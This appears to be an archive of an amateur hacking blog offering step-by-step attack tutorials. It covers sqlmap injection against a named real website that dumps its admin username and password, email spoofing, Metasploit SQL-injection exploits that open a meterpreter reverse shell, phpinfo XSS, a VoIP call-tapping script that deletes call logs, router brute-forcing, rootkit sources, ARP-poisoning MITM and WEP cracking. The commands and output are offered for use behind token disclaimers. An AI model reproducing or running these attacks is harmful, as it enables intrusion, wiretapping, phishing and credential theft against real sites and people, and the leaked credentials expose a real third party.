Visit my new website

hello every one....sorry.....
because i am going to stop all updates on this blog but I launch my new website relates to hacking tricks  with new name,new team and new tricks

please.........
Visit my new website

http://secret-hacker.com

http://secret-hacker.com 

http://secret-hacker.com 

contact me here

----------------------------------------------------------

mr.akshayborase@gmail.com

----------------------------------------------------------

SQL injection with SQLMAP Tool

SQLMAP-->

sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.


first search the vulnerability into the target website.

target-->www.tsbuttons.com.bd 

now find the sql injection vulnerability into target website
ohh I found it....
vulnerability-->tsbuttons.com.bd/jean_tack_buttons.php?ptid=20'

this is the error on website
---------------------------------------------
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
---------------------------------------------

now start the Game ( hack the target site )

1.open the sqlmap

root@kali:~# sqlmap --help

2.find out the database name of the target website

root@kali:~# sqlmap -u http://tsbuttons.com.bd/jean_tack_buttons.php?ptid=20 --dbs

output is
----------------------------------------
available databases [2]:
[*] information_schema
[*] tsbutton_db
---------------------------------------


3.access the tables of database

root@kali:~# sqlmap -u http://tsbuttons.com.bd/jean_tack_buttons.php?ptid=20 -D tsbutton_db --tables

output is
--------------------------------------------------------------------------------------------------------
[23:29:38] [INFO] fetching tables for database: 'tsbutton_db'
Database: tsbutton_db
[4 tables]
+------------------------+
| news                 |         
| product            |
| product_type   |
| users               |
+------------------------+
---------------------------------------------------------------------------------------------------------

4.now it time to access the columns of tables which are we fetch from databse

root@kali:~# sqlmap -u http://tsbuttons.com.bd/jean_tack_buttons.php?ptid=20 -D tsbutton_db -T users --columns

output is
--------------------------------------------------------
Database: tsbutton_db
Table: users
[5 columns]
+--------------------+----------------------+
| Column        | Type               |
+-------------------+-----------------------+
| name           | varchar(25)    |
| Password   | varchar(255)  |
| type             | int(4)               |
| userid         | int(25)             |
| username | varchar(25)     |
+------------------+-----------------------+
-------------------------------------------------------


5.access the user name


root@kali:~# sqlmap -u http://tsbuttons.com.bd/jean_tack_buttons.php?ptid=20 -D tsbutton_db -T users -C username --dump

yehh
we get the user name of the target website
username-->admin


6.Lets access the password

root@kali:~# sqlmap -u http://tsbuttons.com.bd/jean_tack_buttons.php?ptid=20 -D tsbutton_db -T users -C password --dump

 finally Game is over

--------------------------------------------------------------
username-->admin
password-->water
-------------------------------------------------------------

Email spoofing

Email spoofing is the creation of email messages with a forged sender address - something which is simple to do because the core SMTP protocols do no authentication. Spam and phishing emails typically use such spoofing to mislead the recipient about the origin of the message.
A number of measures to address spoofing are available including: SPF, Sender ID, DKIM, and DMARC. Although their use is increasing, it is likely that almost half of all domains still do not have such measures in place


first of all download EmailSpoofer.php file

    Upload the files to any of the free Web hosting server. Some Free Web hosting servers are given below you can also find few more for yourself. 

• http://www.serversfree.com/
• http://www.yourfreehosting.net/ 
• http://www.esmartstart.com/ 
• http://www.110mb.com/ 
• http://www.drivehq.com/ 
• http://www.t35.com/
• http://www.my3gb.com/

and click on the EmailSpoofer.php file then you get fake mail sender application

fake mail from bill gates

warning
------------------------------------------------------------------------------------------------------------------------
You may use this script for educational purposes only.
I cannot be held responsible for any legal action or other action taken against you because of use of this script.
Use at your own risk.
no one is untraceable
------------------------------------------------------------------------------------------------------------------------

Recon-ng : Web Reconnaisance framework for Penetration testers

Recon-ng is a full-featured Web Reconnaissance framework written in Python. Recon-ng has a look and feel similar to the Metasploit Framework, reducing the learning curve for leveraging the framework. 

 

Complete with independent modules, database interaction, built in convenience functions, interactive help, and command completion, Recon-ng provides a powerful environment in which open source web-based reconnaissance can be conducted quickly and thoroughly.

If you want to exploit, use the Metasploit Framework. If you want to Social Engineer, us the Social Engineer Toolkit. If you want to conduct reconnaissance, use Recon-ng!

How to use ? Complete Guide is available here

Recon-ng repository

git clone https://LaNMaSteR53@bitbucket.org/LaNMaSteR53/recon-ng.git

New penetration testing framework (pentbox-1.5)

--------- Menu--------------

1- Cryptography tools
2- Network tools
3- Web
4- License and contact
5- Exit
------------------------------

Download Pentbox-1.5

Exploiting SQL injection vulnerabilities with Metasploit (Part-2)

                Recently we were performing an web application penetration test to one of our clients and identified a SQL injection vulnerability. The vulnerability allowed us to conduct a degree of fingerprinting on the remote server; however, the Microsoft SQL Server back-end database didn’t allow to execute commands via the well known xp_cmdshell stored procedure.

                Based on the fingerprinting information we identified that the database server was running an old and vulnerable version of MS SQL server. Microsoft SQL Sever 2000 SP3, to be precise.

All indicated that the server was vulnerable to MS09-004 vulnerability. However, it was not possible to get direct access to the database. Moreover no authentication credentials were discovered during the course of the assessment.

                This is how our newly released Metasploit module was born. We coded an extension which can be added to Metasploit to exploit this vulnerability using a SQL injection vulnerability with no need of using credentials, as the web application will authenticate in our behalf.

 Penetration testing - SQL injection exploitation

The screenshot above shows how to get meterpreter (or any other payload of your choice) exploiting the vulnerability from Metasploit.

Exploiting SQL injection vulnerabilities with Metasploit (Part-1)

In this post we are going to show how to exploit a SQL injection vulnerability on a web application using Microsoft SQL server backend where xp_cmdshell is available to the attacker. Given a penetration test to a web application it is identified that it is vulnerable to SQL injection attacks and the penetration tester can execute administrative stored procedures:

http://192.168.1.66/showproduct.asp?id=1;exec master..xp_cmdshell ‘ping 192.168.1.64′;–

If the request shown above is successful then arbitrary commands could be executed in the host. At this point, there are a number of options that would allow the tester to fully compromise the server. There are public tools which could aid the attacker to automate the take over process. This post will cover the use of a Metasploit module.

The mssql_payload_sqli module will execute any Windows payload on the target host. In this example we will execute meterpreter which is one of the payloads that offers great flexibility to the penetration tester.

It is necessary to specify the exact point where the SQL injection vulnerability is. We do that by entering the GET_PATH variable with an [SQLi] token. The token will be the place where the payload will be executed. The rest of the exploitation process is the same as any other vulnerability, this is the exploitation based on the URL shown above:

msf > use windows/mssql/mssql_payload_sqli

msf exploit(mssql_payload_sqli) >set GET_PATH http://192.168.1.66/

showproduct.asp?id=1;[SQLi];--

GET_PATH => http://192.168.1.66/showproduct.asp?id=1;[SQLi];--

msf exploit(mssql_payload_sqli) > set RHOST 192.168.1.66
RHOST => 192.168.1.66

msf exploit(mssql_payload_sqli) >set PAYLOAD windows/patchupmeterpreter/reverse_tcp
PAYLOAD => windows/patchupmeterpreter/reverse_tcp

msf exploit(mssql_payload_sqli) > set LHOST 192.168.1.64
LHOST => 192.168.1.64

msf exploit(mssql_payload_sqli) > set LPORT 80
LPORT => 80

msf exploit(mssql_payload_sqli) > exploit

 After the exploitation the attacker will get a meterpreter shell. 

SQL injection exploitation with Metasploit

If you want to use this code you can download it from Secforce security tools repository.

XSS Vulnerability in phpinfo()

Hi everyone,


I just found a very good post that discloses xss vulnerability in phpinfo. So the first one, is through the User Agent. In PHPINFO, it displays a bunch of information, and YOUR User Agent is included. So we need Tamper Data, for this. Open tamper data, and refresh the page. Once you’ve done that, change your User Agent to your XSS query. Then press okay, and the site will reload and execute your query.

          I guess that one isn’t very good for actually Seing people. So I also have a GET based XSS exploit in PHPINFO. It’s quite interesting. It is located in the PHP variables area. In a part of that section, it will show your GET request. But there’s a little catch. You must add a “[]” at the end of your GET variable, because once we do that, the PHPINFO thinks we’re using an Array. And that’s where our XSS is located. So for example:

         

Keep in mind it blocks “alert”.
That’s pretty much it, hope you guys find good use of it!
Enjoy!

Remote Tapping a Snom VoIP Phone

I have a bit of history in attacking VoIP phones, specifically VoIP Wifi phones. Way back in 2005-2006 I purchased several VoIP Wifi phones and conducted very basic security analysis to demonstrate a commonality of vulnerabilities, most notably that many of them had a number of open ports and extraneous services.
               This research resulted in several CVEs, including some companies that should have known better. I also spoke a few conferences, and you can check out my Shmoocon slides from 2006. Most importantly of all, my findings of the VXworks debugging port of UDP/17185 was recently deeply expanded upon by none other than HD Moore who released research and a set of tools that is truly awe-inspiring when it comes to attacking VXworks debugging. For myself, it was humbling to see HD take this to a level that I can only dream of someday attaining.
                So, last week, Michael Sutton at Zscalar wrote a blog post about misusing a new feature in HP Printers called WebScan. Essentially, WebScan functionality allows a user to scan a document that is physically on the printer and save the image to the local computer. HP’s WebScan is an excellent example of how a device’s features are all too often are leveraged by attackers, and Michael’s post inspired me to look at some recent features ripe for abuse in VoIP phones.
                 One area that I wanted to revisit is attackers able to control a VoIP phone dialing. Back in 2006 I identified a feature in Clipcomm VoiP Wifi phones that would allow an attacker to log into the phone via telnet and place a call from the VoiP Wifi phone to any number. Pretty bad stuff, right?
                  Looking at some of the newer VoIP phones from Snom, however, and there’s a webpage on the Snom’s webserver that allows one to enter in a number to dial. A useful feature, so long as your Snom has authentication set on the webserver, otherwise anyone with access to that webpage can make a call. From the Snom user’s perspective, this feature will start a call from your Snom on the speakerphone.

 

                So, with this kind of feature, an attacker could search for Snom phones exposed on the Internet, determine if they are using HTTP authentication, and if they are not, could easily connect the the Snom VoIP phone’s webserver and punch in the number to dial — clearly opening up avenues to cause grief such as expensive 900 numbers, prank calls, etc.
Really, this is not a big deal, and is more of a headache than anything else. But what if an attacker could remotely capture on the phone the voice streams from a call that she placed? That ups the ante a bit, and such an attack is possible by abusing features!


Snom VoIP Phone PCAP Trace

                  Some Snom VoIP phones have a feature called “PCAP Trace” that allows, via the web interface, the start/stop and download of a PCAP file on the Snom VoIP phone — the screenshot below shows the actual page on the VoIP phone, a Snom 360 in this case.

The Snom PCAP Trace feature does have limitations in that it the PCAP data is stored in a circular buffer because of memory limitations, and that enabling PCAP capture can impact the phone’s performance (no surprise here). Still, it is a scary feature that if not secured creates an attack vector where a remote attacker can literally tap your phone.


Remote Tapping Your Snom VoIP Phone

             To start/stop a PCAP on the Snom VoIP phone, one just clicks on the ‘Start’ or ‘Stop’ buttons on the phone webpage. After the capture is complete, an attacker can then download the PCAP trace and extract the audio using Wireshark or the amazing command-line RTPbreak by Michele Dallachiesa.
              So, combining the web page place call feature with the PCAP trace feature, an attacker can make a Snom VoIP phone call any number and then the attacker can capture the call remotely on the Snom VoIP phone. For the final touch, an attacker can also delete the call record of the last call made, thereby wiping the apparent record of the call, at least on the Snom VoIP phone itself. Scary? You betcha. The following is a walk-through of the seven steps — you can code this up for yourself or download my handy-dandy snom_call_tap.sh script — please do be ethical and responsible with this script.


Poor Man’s NSA — Step-by-Step

Step 1: Start the tap on the Snom Web interface
wget    –post-data=’start_pcap=Start’    $1/pcap.htm     -O logz_$1/start_pcap.html

Step 2: Place the call to the target through the Snom Web Interface
wget    –post-data=’NUMBER=’$2′&DIAL=Dial&active_line=1′ $1    -O logz_$1/place_call.html

Step 3: Stop the tap on the Snom Web interface
wget    –post-data=’stop_pcap=Stop’    $1/pcap.htm    -O logz_$1/stop_pcap.html

Step 4: Pull the PCAP from the Snom Web Interface
wget http://$1/trace.pcap -O logz_$1/trace_$1.pcap

Step 5: Run RTPbreak to extract the RTP stream from the PCAP
rtpbreak -P2 -t100 -T100 -d logz_$1 -r logz_$1/trace_$1.pcap

Step 6: Run SOX to marry the extracted audio into single WAV file
sox -r8000 -c1 -t ul logz_$1/rtp.0.0.raw -t wav logz_$1/0.wav

Step 7: Delete the last call record to cover tracks
wget http://$1/adr.htm?dialeddel=1 -O logz_$1/del_call_log.htm

So, there you have it. What makes this kind of feature especially problematic are two things. First, known vulnerabilities in some Snom phones allows an attacker to bypass authentication. Second, Shodan, which I’ve written about before here and here, makes it easy for attackers to locate vulnerable Snom phones. I leave following-up on these aspects an exercise for the reader.


Mitigation

Don’t like the possibility of some miscreant controlling your Snom VoIP phone, making calls on your behalf and tapping your calls? I expect that you don’t. Here are some humble suggestions to mitigate help you to mitigate your risk.

Avoid putting VoIP phones on public IP if at all possible

Use latest code for VoIP phones that patches known vulnerabilities

Enable authentication on the VoIP phone’s Web interface and use a strong password

Send logs from phone to another server and review for abuse

Train phone users to recognize their VoIP phone is compromised (slow running, makes calls by itself, etc.)

Demand from vendors firmware images that do not have such dangerous functionality — or at least have more authentication to use this kind of “feature”

Support alternatives like the Open Snom Project

Ebooks of HACKING

Ebooks of hacking available here 
______________________________
 
http://akshayhacker7.blogspot.in/

http://insecure.in/ebooks.asp
_______________________________

Cracking a password of Router with Hydra

        Leaving your wireless router at its default settings is a bad idea. The sad thing is, most people still do it. Once they've penetrated your network, hackers will change your router settings so they'll have an easy way back in. This allows them to change your network into a shell or proxy so they can forward their traffic anonymously through you when committing other dirty deeds.
        If you keep your wireless router at the defaults, then hackers can control your firewalls, what ports are forwarded, and more.

         Now we're going to attack our routers. The default IP/URL to reach it at will be 192.168.1.1, so test that address in a browser to confirm it. If you get a dialog box, you've reached your router. This is running HTTP basic authentication.

1.cmd: xhydra

2.Enter 192.168.1.1 as your target.
3.Use http-get as the method.
4.Port 80.

5.Pick a word list saved on your computer.

6.Click start!

Game is over 
---------------------------------------------
login:admin
password:password
----------------------------------------------

Web Browser Pass View(email hacking)

http://www.nirsoft.net/utils/web_browser_password.html

Email hacking using metasploit (remotly)

demo of  Email hacking using metasploit (remotly) on www.youtube.com
--------------------------------------------------------------------------
https://www.youtube.com/watch?v=PsHVg_-LCrc
--------------------------------------------------------------------------

Rootkit with sourse code

           A rootkit is a stealthy type of software, often malicious, designed to hide the existence of certain processes or programs from normal methods of detection and enable continued privileged access to a computer .The term rootkit is a concatenation of "root" (the traditional name of the privileged account on Unix operating systems) and the word "kit" (which refers to the software components that implement the tool). The term "rootkit" has negative connotations through its association with malware.
             Rootkit installation can be automated, or an attacker can install it once they've obtained root or Administrator access. Obtaining this access is a result of direct attack on a system (i.e. exploiting a known vulnerability, password (either by cracking, privilege escalation, or social engineering). Once installed it becomes possible to hide the intrusion as well as to maintain privileged access. The key is the root/Administrator access. Full control over a system means that existing software can be modified, including software that might otherwise be used to detect or circumvent it.
Rootkit detection is difficult because a rootkit may be able to subvert the software that is intended to find it. Detection methods include using an alternative and trusted operating system, behavioral-based methods, signature scanning, difference scanning, and memory dump analysis. Removal can be complicated or practically impossible, especially in cases where the rootkit resides in the kernel; reinstallation of the operating system may be the only available solution to the problem. When dealing with firmware rootkits, removal may require hardware replacement, or specialized equipment.

Rootkits with source code 
-------------------------------
1.n00bkit
2.Agony
3.DarkFire
4.Turtle
5.Jynx-Kit-Pub
6.Rootkit-source 
-------------------------------

Communication between 2 hackers

Communication between 2 hackers using the 'invisible secret 4' software

1.Email communication between two hackers.
2.Data recovery after DOD standard data format used by PGP and others

download from here

MITM with Ettercap

Hello readers, we are back with our tutorials on Matriux, due to some unwanted circumstances we weren’t able to be a part of last month’s issue. However we promise to provide our continued support and help to the users. This month we are going to cover a basic tutorial of Man-In-The-Middle (MITM) attack using Ettercap by ARP spoofing technique.

Ettercap 
-----------------------------------------------------------------------------------------
Ettercap is a great tool especially for Man-In-The-Middle Attacks. Very simple and easy to use tool intercept data over LAN and systems connected over switched routers and execute MITM attacks.
“Ettercap is a multipurpose sniffer/interceptor/logger for switched LAN. It supports active and passive dissection of many protocols (even ciphered ones) and includes many features for network and host analysis.” – quoted from Ettercap Website.
----------------------------------------------------------------------------------------------

MITM with Ettercap by ARP poisoning
 ----------------------------------------------------------------------------------------
Requirement: Target system to be in the same network as our attacker – Matriux (can be used over systems communicating over routers too). But let’s make it easy ;)
Ettercap can be found in Matriux under Arsenal > Scanning >Ettercap. I prefer we use the console mode for better understanding of the attack procedure.
----------------------------------------------------------------------------------------------

Attack Setup
----------------------------------------------------------------------------------------- 1.Enable IP Forwarding by typing the following in terminal.

 

2.Edit the file /etc/etter.conf (may be present at different location in different version try “locate etter.conf “). Uncomment the following lines by removing “#” they are present
3.Open another terminal and type “driftnet –i<<interface>>” use the interface by which you are able to

communicate with the target system. (In my case it was eth1). You will be able to see a black window coming up.

Initiating the Attack

Open the terminal as root and start the attack by typing: 
--------------------------------------------------------------------
~#ettercap –Tq –M arp:remote /<<IP of target>>/
--------------------------------------------------------------------

IP of target can be a group of IP addresses.

Now you can see the data, passwords and everything being browsed or passed over internet from the target in the window and also the images the target is browsing in the driftnet window we opened up earlier

 

Now you have successfully performed a MITM attack using Ettercap by ARP spoofing. You can also try changing the data the target system is communicating with the internet.

EtherApe –Graphical Network Monitoring

Hello readers, we are back again with a new release, Matriux Krypton at nullcontritiya,Goa 2012. Thank you for your support throughout these years that we are able to bring in the bigger and better security solutions. This version includes some great features with 300 powerful penetration testing and forensic tools. The UI is made more elegant and faster. Based on Debian Squeeze with a custom compiled kernel 2.3.39-krypton Matriux is the fastest distribution of its kind and runs easily on a p-IV with as low as 256MB RAM and just 6GB HDD. Included new tools like reaver-wps, androguard, apkinspector, ssh server and many more. Installer (MID) is made more easy this time.

 

Doesn’t it look cool? Go, ahead give a try and let us know what you think of the new version.
Now coming to this months’ article on EtherApe, which is an open source graphical network monitor for Unix systems. It displays the network activity graphically with host and link sizes shrink and grow accordance with the traffic activity. Protocols are color coded. Some features of EtherApe include:-

•  Network view can be modified by applying filters
•  Can read traffic from file along with the network
•  A variety of protocols, packet types and frames are supported.
•  Clicking on any link or node will provide additional information regarding the protocols and traffic information
• Handles traffic on Ethernet, WLAN, VLAN plus several other media and encapsulation types
• Output can be exported into a XML file supported from version 0.9.11

EtherApe can be found in Matriux Arsenal under Arsenal --> Reconnaissance -->EtherApe (root)

 

Or simply fire up EtherApe by typing EtherApe in terminal.
Note: Remember that EtherApe requires root permission to run, else you will get an error “No suitable Device found”.
To start monitoring the network select the network interface from the Menu Capture --> Interfaces.

 

This will start reading the network data from the interface selected and displays the network in graphical representation.

 

When you start EtherApe, you may or may not see traffic depending on whether there is traffic actively passing through your network. (Here I pinged Google and opened Matriux Forums in a browser to generate some network activity).
Also the data regarding this network activity can be viewed from Menu -->View --> Nodes/Protocol.

 

Showing the activity at the nodes.

 Showing the activity with respect to protocols, this data is useful in many ways to trouble shoot network or check for unwanted traffic etc.
Also clicking on any link/node in the network map will display the activity at that node/link.

 You can also configure EtherApe from the preferences in the menu.
 
Conclusion
 
EtherApe can also read a tcpdump file that will allow us to capture network traffic to a file and analyze that traffic later or in offline mode. Reason being, using EtherApe as root is not recommended to remotely monitor the network as you run a risk of transmitting the root information over the network. EtherApe is a great tool that can monitor the network and can be used for monitoring the network activity and their protocols. Go ahead and run EtherApe to see the visual beauty of the network ;)
Happy Hacking :)

Mobile phone unlocker software

Mobile phone unlocker software

#-----------------------#

DOWNLOAD

#-----------------------#

Samsung mobile phone unlocker code

-------------------------------------------------------------------------------------------------------------------------------
Warning :---> before using these trick you need to move all  the contact into the SIM and remove the SIM other wise your all contact will erase  
-------------------------------------------------------------------------------------------------------------------------------

Hi am Akshay Borse

believe it or not, i just tried with a V200 and it worked...
enter these 5 reset codes WITHOUT simcard:

1. press *2767*63342#
2. press *2767*3855#
3. press *2767*2878#
4. press *2767*927#
5. press *2767*7822573738#
6. now ur phone has been unlocked

Cracking WEP

In this section we will use be using the Live Linux distribution called BackTrack to crack WEP. Backtrack comes with a huge list of preloaded software for this very purpose.

Before we begin, there are a couple requirements:
1. You need a computer with a compatible wireless adapter.
2. Download Backtrack and create a Live CD.

The tools we will be using on Backtrack are:
• Kismet – a wireless network detector
• airodump – captures packets from a wireless router
• aireplay – forges ARP requests
• aircrack – decrypts the WEP keys
Let’s begin!

1. First we will find a wireless access point along with its bssid, essid and channel number. To do this we will run kismet by opening up the terminal and typing in kismet

. It may ask you for the appropriate adapter which in my case is ath0. You can see your device’s name by typing in the command iwconfig.

2. To be able to do some of the later things, your wireless adapter must be put into monitor mode. Kismet automatically does this and as long as you keep it open, your wireless adapter will stay in monitor mode.

3. In kismet you will see the flags Y/N/0. Each one stands for a different type of encryption. In our case we will be looking for access points with the WEP

encryption. Y=WEP N=OPEN 0=OTHER(usually WAP).

4. Once you find an access point, open a text document and paste in the networks broadcast name (essid), its mac address (bssid) and its channel number. To get the above information, use the arrow keys to select an access point and hit <ENTER> to get more information about it.

5. The next step is to start collecting data from the access point with airodump. Open up a new terminal and start airodump by typing in the command:

airodump-ng -c [channel#] -w [filename] --bssid [bssid] [device]

In the above command airodump-ng starts the program, the channel of your access point goes after -c , the file you wish to output the data goes after -w , and the MAC address of the access point goes after --bssid. The command ends with the device name. Make sure to leave out the brackets.

6. Leave the above running and open another terminal. Next we will generate some fake packets to the target access point so that the speed of the data output will increase. Put in the following command:
aireplay-ng -1 0 -a [bssid] -h 00:11:22:33:44:55:66 -e [essid] [device]

In the above command we are using the airplay-ng program. The -1 tells the program the specific attack we wish to use which in this case is fake authentication with the access point. The 0 cites the delay between attacks, -a is the MAC address of the target access point, -h is your wireless adapters MAC address, -e is the name (essid) of the target access point, and the command ends with the your wireless adapters device name.

7. Now, we will force the target access point to send out a huge amount of packets that we will be able to take advantage of by using them to attempt to crack the WEP key. Once the following command is executed, check your airodump-ng terminal and you should see the ARP packet count to start to increase. The command is: 
aireplay-ng -3 -b [bssid] -h 00:11:22:33:44:5:66 [device]  

In this command, the -3 tells the program the specific type of attack which in this case is packet injection, -b is the MAC address of the target access point, -h is your wireless adapters MAC address, and the wireless adapter device name goes at the end.

8. Once you have collected around 50k-500k packets, you may begin the attempt to break the WEP key. The command to begin the cracking process is:

aircrack-ng -a 1 -b [bssid] -n 128 [filename].ivs

In this command the -a 1 forces the program into the WEP attack mode, the -b is the targets MAC address, and the -n 128 tells the program the WEP key length. If you don’t know the -n , then leave it out. This should crack the WEP key within seconds. The more packets you capture, the bigger chance you have of cracking the WEP key.

With all the different computers and network adapters out there, you may come across a error occasionally. If you get stuck, remember, Google is your friend!  Search for an answer and I guarantee you that 99% of the time you will find a solution.